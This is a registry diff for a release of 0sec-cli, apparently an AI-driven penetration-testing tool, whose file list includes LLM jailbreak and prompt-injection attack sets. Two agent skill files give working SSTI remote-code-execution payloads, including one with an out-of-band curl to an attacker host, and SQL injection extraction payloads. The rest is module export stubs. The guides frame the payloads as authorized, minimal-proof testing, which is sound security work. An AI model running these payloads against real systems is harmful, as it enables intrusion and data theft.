0sec-cli 0.15.0 → 0.17.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/0sec.js +322 -0
- package/README.md +63 -52
- package/attacks/data-exfiltration/pii-leakage.yaml +27 -0
- package/attacks/encoding-bypass/base64-encoding.yaml +24 -0
- package/attacks/jailbreak/dan-roleplay.yaml +27 -0
- package/attacks/jailbreak/hypothetical-scenario.yaml +25 -0
- package/attacks/jailbreak/multilingual-bypass.yaml +22 -0
- package/attacks/output-manipulation/harmful-content.yaml +25 -0
- package/attacks/prompt-injection/context-manipulation.yaml +32 -0
- package/attacks/prompt-injection/direct-injection.yaml +28 -0
- package/attacks/prompt-injection/indirect-injection.yaml +33 -0
- package/attacks/system-prompt-extraction/direct-ask.yaml +30 -0
- package/attacks/system-prompt-extraction/markdown-exfil.yaml +26 -0
- package/attacks/tool-misuse/ssrf-via-tools.yaml +27 -0
- package/chunks/adapt-loop-ECQG7454.js +18 -0
- package/chunks/adgraph-JLGA6RYI.js +54 -0
- package/chunks/agent/skills/frameworks/entra-id.yaml +63 -0
- package/chunks/agent/skills/frameworks/graphql-introspection.yaml +116 -0
- package/chunks/agent/skills/frameworks/nextjs.yaml +82 -0
- package/chunks/agent/skills/frameworks/python-web.yaml +85 -0
- package/chunks/agent/skills/frameworks/supabase.yaml +83 -0
- package/chunks/agent/skills/frameworks/wordpress-deep.yaml +122 -0
- package/chunks/agent/skills/techniques/ad-attack-paths.yaml +57 -0
- package/chunks/agent/skills/techniques/advisory-disclosure.yaml +59 -0
- package/chunks/agent/skills/techniques/assumption-mining.yaml +53 -0
- package/chunks/agent/skills/techniques/blind-exploitation.yaml +143 -0
- package/chunks/agent/skills/techniques/crypto-misuse.yaml +88 -0
- package/chunks/agent/skills/techniques/cve-poc-adaptation.yaml +82 -0
- package/chunks/agent/skills/techniques/entra-attack-paths.yaml +55 -0
- package/chunks/agent/skills/techniques/http-conformance-diff.yaml +48 -0
- package/chunks/agent/skills/techniques/jwt-attacks.yaml +137 -0
- package/chunks/agent/skills/techniques/kernel-weaponization.yaml +53 -0
- package/chunks/agent/skills/techniques/llm-excessive-agency.yaml +55 -0
- package/chunks/agent/skills/techniques/llm-insecure-output-handling.yaml +56 -0
- package/chunks/agent/skills/techniques/llm-prompt-injection.yaml +54 -0
- package/chunks/agent/skills/techniques/llm-prompt-layer-write.yaml +68 -0
- package/chunks/agent/skills/techniques/llm-rag-poisoning.yaml +57 -0
- package/chunks/agent/skills/techniques/llm-safety-eval.yaml +51 -0
- package/chunks/agent/skills/techniques/npm-ecosystem.yaml +51 -0
- package/chunks/agent/skills/techniques/poc-verification.yaml +55 -0
- package/chunks/agent/skills/techniques/race-condition.yaml +122 -0
- package/chunks/agent/skills/techniques/scoped-fix.yaml +49 -0
- package/chunks/agent/skills/techniques/seedless-depth-review.yaml +59 -0
- package/chunks/agent/skills/techniques/spec-differential.yaml +48 -0
- package/chunks/agent/skills/techniques/variant-hunting.yaml +55 -0
- package/chunks/agent/skills/vulnerabilities/cardano-eutxo-validators.yaml +72 -0
- package/chunks/agent/skills/vulnerabilities/command-injection.yaml +99 -0
- package/chunks/agent/skills/vulnerabilities/deserialization-chains.yaml +106 -0
- package/chunks/agent/skills/vulnerabilities/native-memory-safety.yaml +93 -0
- package/chunks/agent/skills/vulnerabilities/path-traversal.yaml +78 -0
- package/chunks/agent/skills/vulnerabilities/prototype-pollution.yaml +132 -0
- package/chunks/agent/skills/vulnerabilities/request-smuggling.yaml +129 -0
- package/chunks/agent/skills/vulnerabilities/sqli-advanced.yaml +102 -0
- package/chunks/agent/skills/vulnerabilities/ssrf-bypass.yaml +84 -0
- package/chunks/agent/skills/vulnerabilities/ssti-exploitation.yaml +112 -0
- package/chunks/agent/skills/vulnerabilities/structural-sqli.yaml +91 -0
- package/chunks/appsec-catalog-CBWHGTEL.js +24 -0
- package/chunks/artifact-scraper-GJEZMOHF.js +34 -0
- package/chunks/assumption-mining-BVMMUZHB.js +79 -0
- package/chunks/chunk-2CJ776PV.js +2430 -0
- package/chunks/chunk-2RMLOJVB.js +47 -0
- package/chunks/chunk-2SANI5RH.js +4728 -0
- package/chunks/chunk-3MOLBTLS.js +953 -0
- package/chunks/chunk-3QFDYBZQ.js +5108 -0
- package/chunks/chunk-47TQJWDH.js +3729 -0
- package/chunks/chunk-4Y4KQJXE.js +600 -0
- package/chunks/chunk-53G27VPS.js +136 -0
- package/chunks/chunk-57ZENEX2.js +169 -0
- package/chunks/chunk-5G3ZXFBW.js +182 -0
- package/chunks/chunk-6LKRLK2R.js +542 -0
- package/chunks/chunk-7DQEV5QI.js +287 -0
- package/chunks/chunk-A6CLR72I.js +235 -0
- package/chunks/chunk-BKZFDZ23.js +361 -0
- package/chunks/chunk-CLHCDHP4.js +471 -0
- package/chunks/chunk-D6S3IIPG.js +518 -0
- package/chunks/chunk-DN25OQQA.js +1070 -0
- package/chunks/chunk-DW5UWPFY.js +275 -0
- package/chunks/chunk-F3WBKITT.js +687 -0
- package/chunks/chunk-H2FFLZNK.js +3 -0
- package/chunks/chunk-H44E2CRN.js +193 -0
- package/chunks/chunk-HDWV7PGI.js +596 -0
- package/chunks/chunk-HE7LCA7G.js +381 -0
- package/chunks/chunk-HT6P7RY3.js +2597 -0
- package/chunks/chunk-IOL7D5YV.js +515 -0
- package/chunks/chunk-IORC6MQX.js +72828 -0
- package/chunks/chunk-IR537GON.js +49 -0
- package/chunks/chunk-K26SZ37E.js +5735 -0
- package/chunks/chunk-KKGE5RQE.js +1094 -0
- package/chunks/chunk-KLTNTE2Z.js +121 -0
- package/chunks/chunk-KTQDLNSR.js +1732 -0
- package/chunks/chunk-LOHTE223.js +2572 -0
- package/chunks/chunk-LP3HHYQU.js +245 -0
- package/chunks/chunk-MMLDQR4H.js +852 -0
- package/chunks/chunk-MYVT64FN.js +16 -0
- package/chunks/chunk-O462Y7P2.js +33019 -0
- package/chunks/chunk-OEFNRYI2.js +150 -0
- package/chunks/chunk-P6WKNFWX.js +1968 -0
- package/chunks/chunk-QI233I24.js +333 -0
- package/chunks/chunk-QJQKHO7G.js +917 -0
- package/chunks/chunk-QKICO43A.js +808 -0
- package/chunks/chunk-QOKTUOU2.js +102 -0
- package/chunks/chunk-RDZYQQLW.js +596 -0
- package/chunks/chunk-RJWOYEOG.js +271 -0
- package/chunks/chunk-RRMJC3ZE.js +105 -0
- package/chunks/chunk-RWONANDA.js +973 -0
- package/chunks/chunk-SAFFWQW4.js +5921 -0
- package/chunks/chunk-SF4KZ4O3.js +502 -0
- package/chunks/chunk-SNKTC4BP.js +1422 -0
- package/chunks/chunk-SOG2U7B3.js +662 -0
- package/chunks/chunk-SZJCPG2I.js +110 -0
- package/chunks/chunk-UJ4IK5PO.js +2010 -0
- package/chunks/chunk-UM3ZNQIM.js +9329 -0
- package/chunks/chunk-VGRDNSHA.js +3249 -0
- package/chunks/chunk-VQG4FT5D.js +685 -0
- package/chunks/chunk-WKNNZVJS.js +2798 -0
- package/chunks/chunk-WU6AFRAZ.js +1167 -0
- package/chunks/chunk-WVTBZEQO.js +1531 -0
- package/chunks/chunk-YLMN3N25.js +4054 -0
- package/chunks/commands-U3AMV5ZU.js +16795 -0
- package/chunks/corpus-v1.json +403 -0
- package/chunks/cost-ledger-ZCKMBJEN.js +13 -0
- package/chunks/data/appsec-archetypes.json +102 -0
- package/chunks/data/chromium-archetypes.json +204 -0
- package/chunks/data/freebsd-archetypes.json +171 -0
- package/chunks/data/kernel-archetypes.json +611 -0
- package/chunks/db-26NGQFKO.js +16 -0
- package/chunks/disclose-A6AEIEDA.js +132 -0
- package/chunks/dist-FDKALV4R.js +2772 -0
- package/chunks/dist-GL66KMUX.js +74 -0
- package/chunks/dist-JR67XKYO.js +159 -0
- package/chunks/eval-runner-DDLE5RQ3.js +27 -0
- package/chunks/example-manifest.json +95 -0
- package/chunks/exploit-agent-XP23ISN7.js +98 -0
- package/chunks/exploit-autoclimb-E6T7RRSC.js +81 -0
- package/chunks/exploit-climb-2FAUP6XU.js +358 -0
- package/chunks/fix-IG7LYXH3.js +12 -0
- package/chunks/github-issues-MJ6OYOOU.js +157 -0
- package/chunks/harness-HWOYFKFY.js +22 -0
- package/chunks/http-conformance-DU66MZIU.js +11 -0
- package/chunks/http-sender-GWH2IYEA.js +10 -0
- package/chunks/hunt-scan-XPELSPQQ.js +38 -0
- package/chunks/identity-6ZAIIWOR.js +191 -0
- package/chunks/kernel-primitive-TENE3R7T.js +44 -0
- package/chunks/kernel-vm-runner-4F6QSNFY.js +62 -0
- package/chunks/memsafety-scan-J7SECV5W.js +16 -0
- package/chunks/native-loop-NTONUDP7.js +54 -0
- package/chunks/npm-detectors-KB5Y5ZFX.js +69 -0
- package/chunks/npm-dynamic-discovery-AHROOZDB.js +13 -0
- package/chunks/orchestrate-ZUWAUWBC.js +62 -0
- package/chunks/pipeline-FCARFZU3.js +14 -0
- package/chunks/pre-recon-cve-66EB6G4M.js +351 -0
- package/chunks/prepare-MYY743TK.js +13 -0
- package/chunks/process-3Q7QJIOZ.js +13 -0
- package/chunks/replay-runner-RRR4E2A7.js +39 -0
- package/chunks/run-ESNN4V5W.js +32632 -0
- package/chunks/runtime-62ZQAH7H.js +43 -0
- package/chunks/runtime-J7PLXZNM.js +12 -0
- package/chunks/scan-stream-FHI2FYZE.js +96 -0
- package/chunks/scope-BI7BF4ZY.js +18 -0
- package/chunks/session-store-BCFQYDCE.js +28 -0
- package/chunks/source-files-PWRQR6LY.js +12 -0
- package/chunks/specdrift-WCLH6TTQ.js +19 -0
- package/chunks/variant-candidates-6KM6F6MD.js +13 -0
- package/chunks/web-recon-prepass-DPVCBRZA.js +1148 -0
- package/dashboard/assets/0sec-icon-66SreztZ.gif +0 -0
- package/dashboard/assets/bot-yILPnRgD.js +1 -0
- package/dashboard/assets/chevron-down-BeDJ-Vka.js +1 -0
- package/dashboard/assets/circle-alert-BEnMBMT-.js +1 -0
- package/dashboard/assets/client-DRYsuOGl.js +9 -0
- package/dashboard/assets/copy-Bi5vzoF9.js +1 -0
- package/dashboard/assets/desktop-CXTQonNm.js +32 -0
- package/dashboard/assets/desktop-NOekk4QS.css +1 -0
- package/dashboard/assets/dist-CmX-h7a4.js +1 -0
- package/dashboard/assets/dist-DAwYQmf_.js +45 -0
- package/dashboard/assets/findings-page-CACW9nw2.js +5 -0
- package/dashboard/assets/format-PoISqsES.js +1 -0
- package/dashboard/assets/geist-cyrillic-ext-wght-normal-DjL33-gN.woff2 +0 -0
- package/dashboard/assets/geist-cyrillic-wght-normal-BEAKL7Jp.woff2 +0 -0
- package/dashboard/assets/geist-latin-ext-wght-normal-DC-KSUi6.woff2 +0 -0
- package/dashboard/assets/geist-latin-wght-normal-BgDaEnEv.woff2 +0 -0
- package/dashboard/assets/geist-vietnamese-wght-normal-6IgcOCM7.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-cyrillic-400-normal-BSMlKf0J.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-cyrillic-400-normal-CEL4l2ZJ.woff +0 -0
- package/dashboard/assets/ibm-plex-mono-cyrillic-ext-400-normal-DMdlQ8Kv.woff +0 -0
- package/dashboard/assets/ibm-plex-mono-cyrillic-ext-400-normal-xuaO2J-f.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-latin-400-normal-CvHOgSBP.woff +0 -0
- package/dashboard/assets/ibm-plex-mono-latin-400-normal-DMJ8VG8y.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-latin-ext-400-normal-BmRBH3aV.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-latin-ext-400-normal-D3D2R8hC.woff +0 -0
- package/dashboard/assets/ibm-plex-mono-vietnamese-400-normal-BulugwFq.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-vietnamese-400-normal-DDuiU_S-.woff +0 -0
- package/dashboard/assets/jsx-runtime-C7oxC63R.js +1 -0
- package/dashboard/assets/live-page-DrgQqQK5.js +1 -0
- package/dashboard/assets/meta-tile-CcskIV_o.js +1 -0
- package/dashboard/assets/operations-BKE8T-vY.css +2 -0
- package/dashboard/assets/operations-D8nUP5_m.js +4 -0
- package/dashboard/assets/operations-app-CQQhG54n.js +2 -0
- package/dashboard/assets/overview-page-DTGS8dPo.js +1 -0
- package/dashboard/assets/page-header-MFVvEtZW.js +1 -0
- package/dashboard/assets/play-Dwo-9xt6.js +1 -0
- package/dashboard/assets/scans-page-ChVtq8Us.js +1 -0
- package/dashboard/assets/search-CiooTLck.js +1 -0
- package/dashboard/assets/siren-CCBwTSuk.js +1 -0
- package/dashboard/assets/table-BYS-nIVA.js +1 -0
- package/dashboard/assets/tabs-DivxbhQy.js +1 -0
- package/dashboard/desktop.html +21 -0
- package/dashboard/index.html +15 -0
- package/package.json +30 -18
- package/bin/0sec.cjs +0 -361
|
@@ -0,0 +1,112 @@
|
|
|
1
|
+
id: ssti-exploitation
|
|
2
|
+
name: "SSTI Detection and RCE Escalation"
|
|
3
|
+
description: "Server-Side Template Injection detection, engine identification, and RCE escalation across Jinja2, Twig, Freemarker, Velocity, Pebble, and Mako."
|
|
4
|
+
version: 1
|
|
5
|
+
applicable_roles:
|
|
6
|
+
- attack
|
|
7
|
+
- audit
|
|
8
|
+
tags:
|
|
9
|
+
- ssti
|
|
10
|
+
- template-injection
|
|
11
|
+
- rce
|
|
12
|
+
- jinja2
|
|
13
|
+
- twig
|
|
14
|
+
- freemarker
|
|
15
|
+
- mako
|
|
16
|
+
- pebble
|
|
17
|
+
triggers:
|
|
18
|
+
- "\\{\\{.*\\}\\}"
|
|
19
|
+
- "\\$\\{.*\\}"
|
|
20
|
+
- "<%=.*%>"
|
|
21
|
+
- "jinja"
|
|
22
|
+
- "twig"
|
|
23
|
+
- "freemarker"
|
|
24
|
+
- "thymeleaf"
|
|
25
|
+
- "mako"
|
|
26
|
+
- "velocity"
|
|
27
|
+
- "pebble"
|
|
28
|
+
- "template.*engine"
|
|
29
|
+
- "render.*template"
|
|
30
|
+
- "\\b49\\b"
|
|
31
|
+
estimated_tokens: 800
|
|
32
|
+
content: |
|
|
33
|
+
## SSTI Detection and RCE Escalation
|
|
34
|
+
|
|
35
|
+
### Phase 1: Polyglot Detection Probes
|
|
36
|
+
Send these probes to every user-controlled input that might reach a template:
|
|
37
|
+
```
|
|
38
|
+
{{7*7}} → 49 = Jinja2, Twig, or Nunjucks
|
|
39
|
+
${7*7} → 49 = Freemarker, Velocity, Mako, Thymeleaf
|
|
40
|
+
<%= 7*7 %> → 49 = ERB (Ruby), EJS (JS)
|
|
41
|
+
#{7*7} → 49 = Ruby (Slim/Haml), Pebble
|
|
42
|
+
#set($x=7*7)${x} → 49 = Velocity
|
|
43
|
+
${T(java.lang.Math).random()} → float = Spring Expression Language (SpEL)
|
|
44
|
+
```
|
|
45
|
+
If the output shows `49` or similar computed result, SSTI is confirmed.
|
|
46
|
+
|
|
47
|
+
### Phase 2: Engine Fingerprinting
|
|
48
|
+
Narrow down the engine with type-specific probes:
|
|
49
|
+
- **Jinja2**: `{{config}}` returns Flask config dict, `{{self.__class__}}` works
|
|
50
|
+
- **Twig**: `{{_self.env.getFilter('id')}}` or `{{dump()}}` works; `{{config}}` does not
|
|
51
|
+
- **Freemarker**: `${.version}` returns engine version, `<#assign x=1>` works
|
|
52
|
+
- **Velocity**: `#set($a=1)$a` renders `1`, `$class.forName()` available
|
|
53
|
+
- **Mako**: `${self.module.__loader__}` works, Python syntax accepted
|
|
54
|
+
- **Pebble**: `{% set x = 7*7 %}{{x}}` renders `49`, `beans` keyword available
|
|
55
|
+
- **Thymeleaf**: `__${T(java.lang.Runtime).getRuntime().exec('id')}__` in URLs
|
|
56
|
+
|
|
57
|
+
### Phase 3: Jinja2 RCE Escalation
|
|
58
|
+
Primary chain (most reliable):
|
|
59
|
+
```
|
|
60
|
+
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
|
|
61
|
+
```
|
|
62
|
+
Alternative chains when `config` is blocked:
|
|
63
|
+
```
|
|
64
|
+
{{''.__class__.__mro__[1].__subclasses__()}}
|
|
65
|
+
```
|
|
66
|
+
Find `subprocess.Popen` (usually index ~250-400), then:
|
|
67
|
+
```
|
|
68
|
+
{{''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate()}}
|
|
69
|
+
```
|
|
70
|
+
Bypass `_` filter:
|
|
71
|
+
```
|
|
72
|
+
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
|
|
73
|
+
```
|
|
74
|
+
|
|
75
|
+
### Phase 4: Twig RCE Escalation
|
|
76
|
+
Twig 1.x (legacy, direct exec):
|
|
77
|
+
```
|
|
78
|
+
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
|
|
79
|
+
```
|
|
80
|
+
Twig 3.x (system via filter):
|
|
81
|
+
```
|
|
82
|
+
{{['id']|filter('system')}}
|
|
83
|
+
```
|
|
84
|
+
File read: `{{'/etc/passwd'|file_excerpt(0,50)}}`
|
|
85
|
+
|
|
86
|
+
### Phase 5: Freemarker RCE
|
|
87
|
+
```
|
|
88
|
+
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
|
|
89
|
+
```
|
|
90
|
+
Alternative: `${object.getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke(object.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}`
|
|
91
|
+
|
|
92
|
+
### Phase 6: Velocity RCE
|
|
93
|
+
```
|
|
94
|
+
#set($rt=$class.forName("java.lang.Runtime"))
|
|
95
|
+
#set($m=$rt.getMethod("getRuntime"))
|
|
96
|
+
#set($r=$m.invoke(null))
|
|
97
|
+
$r.exec("id")
|
|
98
|
+
```
|
|
99
|
+
|
|
100
|
+
### Phase 7: Blind SSTI Confirmation
|
|
101
|
+
When output is not reflected:
|
|
102
|
+
- **Time-based**: `{{config.__class__.__init__.__globals__['os'].popen('sleep 5').read()}}` — 5s delay confirms
|
|
103
|
+
- **OOB callback**: `{{config.__class__.__init__.__globals__['os'].popen('curl http://ATTACKER:9000/ssti-confirmed').read()}}`
|
|
104
|
+
- **Error-based**: force a TypeError by accessing invalid index — error message may leak data
|
|
105
|
+
- **File write**: `{{config.__class__.__init__.__globals__['os'].popen('id > /tmp/ssti-proof.txt').read()}}` then read via LFI
|
|
106
|
+
|
|
107
|
+
### Phase 8: Filter/WAF Bypass
|
|
108
|
+
- Replace `{{` with `{%print(...)%}` (Jinja2)
|
|
109
|
+
- Use `|attr()` filter to avoid dot notation: `''|attr('__class__')`
|
|
110
|
+
- Hex-encode underscores: `\x5f` instead of `_`
|
|
111
|
+
- Use `request.args` or `request.values` to pass payload components as URL params
|
|
112
|
+
- URL-encode entire payload in GET parameters
|
|
@@ -0,0 +1,91 @@
|
|
|
1
|
+
id: structural-sqli
|
|
2
|
+
name: "Structural / JSON-Key SQL Injection"
|
|
3
|
+
description: "SQL injection where the injectable surface is a JSON KEY / field name concatenated into SQL (ORDER BY, SELECT column, dynamic WHERE) — not a parameterised value. Driven by an error-message feedback loop that refines payloads over blind iterations."
|
|
4
|
+
version: 1
|
|
5
|
+
applicable_roles:
|
|
6
|
+
- attack
|
|
7
|
+
- audit
|
|
8
|
+
tags:
|
|
9
|
+
- sqli
|
|
10
|
+
- structural-sqli
|
|
11
|
+
- json-key
|
|
12
|
+
- blind-sqli
|
|
13
|
+
- order-by
|
|
14
|
+
- error-based
|
|
15
|
+
- database
|
|
16
|
+
triggers:
|
|
17
|
+
- "ORDER\\s+BY"
|
|
18
|
+
- "GROUP\\s+BY"
|
|
19
|
+
- "Unknown column '[^']*' in"
|
|
20
|
+
- "column \"[^\"]*\" does not exist"
|
|
21
|
+
- "Invalid column name"
|
|
22
|
+
- "no such column"
|
|
23
|
+
- "sort(_?by|Field|_?field|_?order|_?column)"
|
|
24
|
+
- "order(_?by|Field|_?field|_?column|_?dir)"
|
|
25
|
+
- "\"(sort|order|column|field|groupBy|orderBy)\"\\s*:"
|
|
26
|
+
- "near \"[^\"]*\": syntax error"
|
|
27
|
+
- "unrecognized token"
|
|
28
|
+
estimated_tokens: 700
|
|
29
|
+
content: |
|
|
30
|
+
## Structural / JSON-Key SQL Injection
|
|
31
|
+
|
|
32
|
+
Most SQLi tooling (ZAP, commercial DAST) fuzzes JSON **values**. Values are
|
|
33
|
+
usually parameterised, so they find nothing. The high-value miss is when the
|
|
34
|
+
backend concatenates a JSON **key / field name** into SQL — these are almost
|
|
35
|
+
never parameterised because you can't bind an identifier:
|
|
36
|
+
|
|
37
|
+
- `ORDER BY ${key}` / `GROUP BY ${key}` (sort/pagination params)
|
|
38
|
+
- `SELECT ${key} FROM ...` (caller-chosen projection / column allow-list bug)
|
|
39
|
+
- dynamic `WHERE ${key} = ?` filter builders
|
|
40
|
+
- `{"sort": "name", "dir": "asc"}` → `ORDER BY name asc`
|
|
41
|
+
|
|
42
|
+
This is the "structural" vector. The surface is the **key**, not the value.
|
|
43
|
+
|
|
44
|
+
### Step 1: Find key-driven SQL surfaces
|
|
45
|
+
Look for request bodies / params whose KEYS or key-values name columns:
|
|
46
|
+
`sort`, `sort_by`, `sortField`, `order`, `order_by`, `orderBy`, `column`,
|
|
47
|
+
`field`, `group_by`, `select`, `columns[]`, `filter[<key>]`. GraphQL/JSON
|
|
48
|
+
APIs with arbitrary filter objects are prime. The tell in error output:
|
|
49
|
+
`Unknown column '...'`, `column "..." does not exist`, `Invalid column name`,
|
|
50
|
+
`no such column` — the server tried your key AS an identifier.
|
|
51
|
+
|
|
52
|
+
### Step 2: Drive the blind error-iteration loop
|
|
53
|
+
This is blind (no reflected data), so confirm via a differential error loop —
|
|
54
|
+
exactly what the `structural-sqli` probe module automates:
|
|
55
|
+
|
|
56
|
+
1. **Break:** inject a key with a trailing quote: `name'`. A statement like
|
|
57
|
+
`SELECT name' FROM ...` is now unbalanced. A DB error confirms the key
|
|
58
|
+
reaches the parser.
|
|
59
|
+
2. **Fingerprint:** read the error to pin the dialect:
|
|
60
|
+
- MySQL/MariaDB: "You have an error in your SQL syntax", "Unknown column"
|
|
61
|
+
- PostgreSQL: "unterminated quoted string at or near", PSQLException
|
|
62
|
+
- MSSQL: "Unclosed quotation mark", "Incorrect syntax near"
|
|
63
|
+
- Oracle: `ORA-NNNNN`, "quoted string not properly terminated"
|
|
64
|
+
- SQLite: "unrecognized token", "no such column"
|
|
65
|
+
3. **Balance (refine):** re-close the quote and comment out the tail using the
|
|
66
|
+
DISCOVERED dialect's comment syntax — MySQL needs `-- ` (trailing space),
|
|
67
|
+
others accept `--`: `name'-- -`. If this now parses cleanly (no error)
|
|
68
|
+
while the bare `name'` errored, the key is being parsed as SQL → confirmed.
|
|
69
|
+
4. **Iterate:** if the balanced close still errors, the dialect guess or
|
|
70
|
+
close syntax was wrong — refine and retry within budget.
|
|
71
|
+
|
|
72
|
+
### Step 3: Prove impact (minimal, verification-oriented)
|
|
73
|
+
Once structural injection is confirmed on a key:
|
|
74
|
+
- `ORDER BY` boolean oracle: `...,(CASE WHEN (1=1) THEN name ELSE id END)` —
|
|
75
|
+
flips row order on a true/false condition without quotes.
|
|
76
|
+
- Error-based extraction (MySQL): `ORDER BY extractvalue(1,concat(0x7e,version()))`.
|
|
77
|
+
- Postgres: `ORDER BY 1=cast(version() as int)` surfaces the version in the
|
|
78
|
+
cast error.
|
|
79
|
+
Extract the **minimum** non-sensitive proof (DB version, `current_user`, one
|
|
80
|
+
`information_schema` row). Do NOT dump data.
|
|
81
|
+
|
|
82
|
+
### Step 4: Emit the finding with the iteration trail
|
|
83
|
+
Save the finding with the ordered probe trail (each payload key → response
|
|
84
|
+
verdict → dialect), the confirming differential (broken errored, balanced did
|
|
85
|
+
not), and the dialect. Assume false-positive until the differential holds.
|
|
86
|
+
|
|
87
|
+
### Why scanners miss this
|
|
88
|
+
Identifier-position injection has no quote/value to fuzz and no reflected
|
|
89
|
+
output — value-oriented scanners skip it. The key insight: keys naming SQL
|
|
90
|
+
identifiers are concatenated, and the error-message loop turns a blind
|
|
91
|
+
identifier surface into a confirmable one.
|
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
import { createRequire as __0secCreateRequire } from "node:module";
|
|
3
|
+
const require = __0secCreateRequire(import.meta.url);
|
|
4
|
+
import {
|
|
5
|
+
activeAppsecLensRegistryPath,
|
|
6
|
+
appsecArchetypeDigest,
|
|
7
|
+
appsecArchetypeToFinderLens,
|
|
8
|
+
appsecArchetypesPath,
|
|
9
|
+
appsecLensLedgerEntryDigest,
|
|
10
|
+
appsecUserArchetypesPath,
|
|
11
|
+
loadAppsecArchetypes,
|
|
12
|
+
loadAppsecFinderLenses
|
|
13
|
+
} from "./chunk-QI233I24.js";
|
|
14
|
+
import "./chunk-IR537GON.js";
|
|
15
|
+
export {
|
|
16
|
+
activeAppsecLensRegistryPath,
|
|
17
|
+
appsecArchetypeDigest,
|
|
18
|
+
appsecArchetypeToFinderLens,
|
|
19
|
+
appsecArchetypesPath,
|
|
20
|
+
appsecLensLedgerEntryDigest,
|
|
21
|
+
appsecUserArchetypesPath,
|
|
22
|
+
loadAppsecArchetypes,
|
|
23
|
+
loadAppsecFinderLenses
|
|
24
|
+
};
|
|
@@ -0,0 +1,34 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
import { createRequire as __0secCreateRequire } from "node:module";
|
|
3
|
+
const require = __0secCreateRequire(import.meta.url);
|
|
4
|
+
import {
|
|
5
|
+
classifyReferences,
|
|
6
|
+
findCveArtifacts,
|
|
7
|
+
findRedHatTrackerUrls,
|
|
8
|
+
findUbuntuTrackerUrls,
|
|
9
|
+
normaliseCveId,
|
|
10
|
+
parseGhsaResponse,
|
|
11
|
+
parseNvdResponse,
|
|
12
|
+
parseOsvResponse,
|
|
13
|
+
parseRedHatTracker,
|
|
14
|
+
parseUbuntuTracker,
|
|
15
|
+
scoreCodeCandidate,
|
|
16
|
+
scoreRepoCandidate
|
|
17
|
+
} from "./chunk-QKICO43A.js";
|
|
18
|
+
import "./chunk-KKGE5RQE.js";
|
|
19
|
+
import "./chunk-YLMN3N25.js";
|
|
20
|
+
import "./chunk-IR537GON.js";
|
|
21
|
+
export {
|
|
22
|
+
classifyReferences,
|
|
23
|
+
findCveArtifacts,
|
|
24
|
+
findRedHatTrackerUrls,
|
|
25
|
+
findUbuntuTrackerUrls,
|
|
26
|
+
normaliseCveId,
|
|
27
|
+
parseGhsaResponse,
|
|
28
|
+
parseNvdResponse,
|
|
29
|
+
parseOsvResponse,
|
|
30
|
+
parseRedHatTracker,
|
|
31
|
+
parseUbuntuTracker,
|
|
32
|
+
scoreCodeCandidate,
|
|
33
|
+
scoreRepoCandidate
|
|
34
|
+
};
|
|
@@ -0,0 +1,79 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
import { createRequire as __0secCreateRequire } from "node:module";
|
|
3
|
+
const require = __0secCreateRequire(import.meta.url);
|
|
4
|
+
import {
|
|
5
|
+
ASSUMPTION_MODEL_VERSION,
|
|
6
|
+
assumptionsToHuntPlan,
|
|
7
|
+
buildFocusedCandidates,
|
|
8
|
+
buildFunctionBodyIndex,
|
|
9
|
+
computeEstablisherSets,
|
|
10
|
+
computeEstablisherWrappers,
|
|
11
|
+
crossCheckAssumptions,
|
|
12
|
+
dualViewSeamDecision,
|
|
13
|
+
heldLockIdsAt,
|
|
14
|
+
isCrossApiAssumption,
|
|
15
|
+
isMechanizableEstablisher,
|
|
16
|
+
loadAssumptionModel,
|
|
17
|
+
mineAssumptions,
|
|
18
|
+
normalizeAssumptions,
|
|
19
|
+
objectFieldAccesses,
|
|
20
|
+
objectTypeToken,
|
|
21
|
+
runAssumptionHunt,
|
|
22
|
+
scanDualViewContexts,
|
|
23
|
+
scanViolatingContexts,
|
|
24
|
+
scoreDualViewWeaponizability,
|
|
25
|
+
storeAssumptionModel,
|
|
26
|
+
subjectSelfEnforces
|
|
27
|
+
} from "./chunk-47TQJWDH.js";
|
|
28
|
+
import "./chunk-SNKTC4BP.js";
|
|
29
|
+
import {
|
|
30
|
+
composeGate,
|
|
31
|
+
makeSkepticVerifier
|
|
32
|
+
} from "./chunk-K26SZ37E.js";
|
|
33
|
+
import "./chunk-RJWOYEOG.js";
|
|
34
|
+
import "./chunk-O462Y7P2.js";
|
|
35
|
+
import "./chunk-LOHTE223.js";
|
|
36
|
+
import "./chunk-3MOLBTLS.js";
|
|
37
|
+
import "./chunk-P6WKNFWX.js";
|
|
38
|
+
import "./chunk-SOG2U7B3.js";
|
|
39
|
+
import "./chunk-LP3HHYQU.js";
|
|
40
|
+
import "./chunk-KLTNTE2Z.js";
|
|
41
|
+
import "./chunk-HT6P7RY3.js";
|
|
42
|
+
import "./chunk-RRMJC3ZE.js";
|
|
43
|
+
import "./chunk-H2FFLZNK.js";
|
|
44
|
+
import "./chunk-UM3ZNQIM.js";
|
|
45
|
+
import "./chunk-57ZENEX2.js";
|
|
46
|
+
import "./chunk-MMLDQR4H.js";
|
|
47
|
+
import "./chunk-2SANI5RH.js";
|
|
48
|
+
import "./chunk-CLHCDHP4.js";
|
|
49
|
+
import "./chunk-QOKTUOU2.js";
|
|
50
|
+
import "./chunk-KKGE5RQE.js";
|
|
51
|
+
import "./chunk-YLMN3N25.js";
|
|
52
|
+
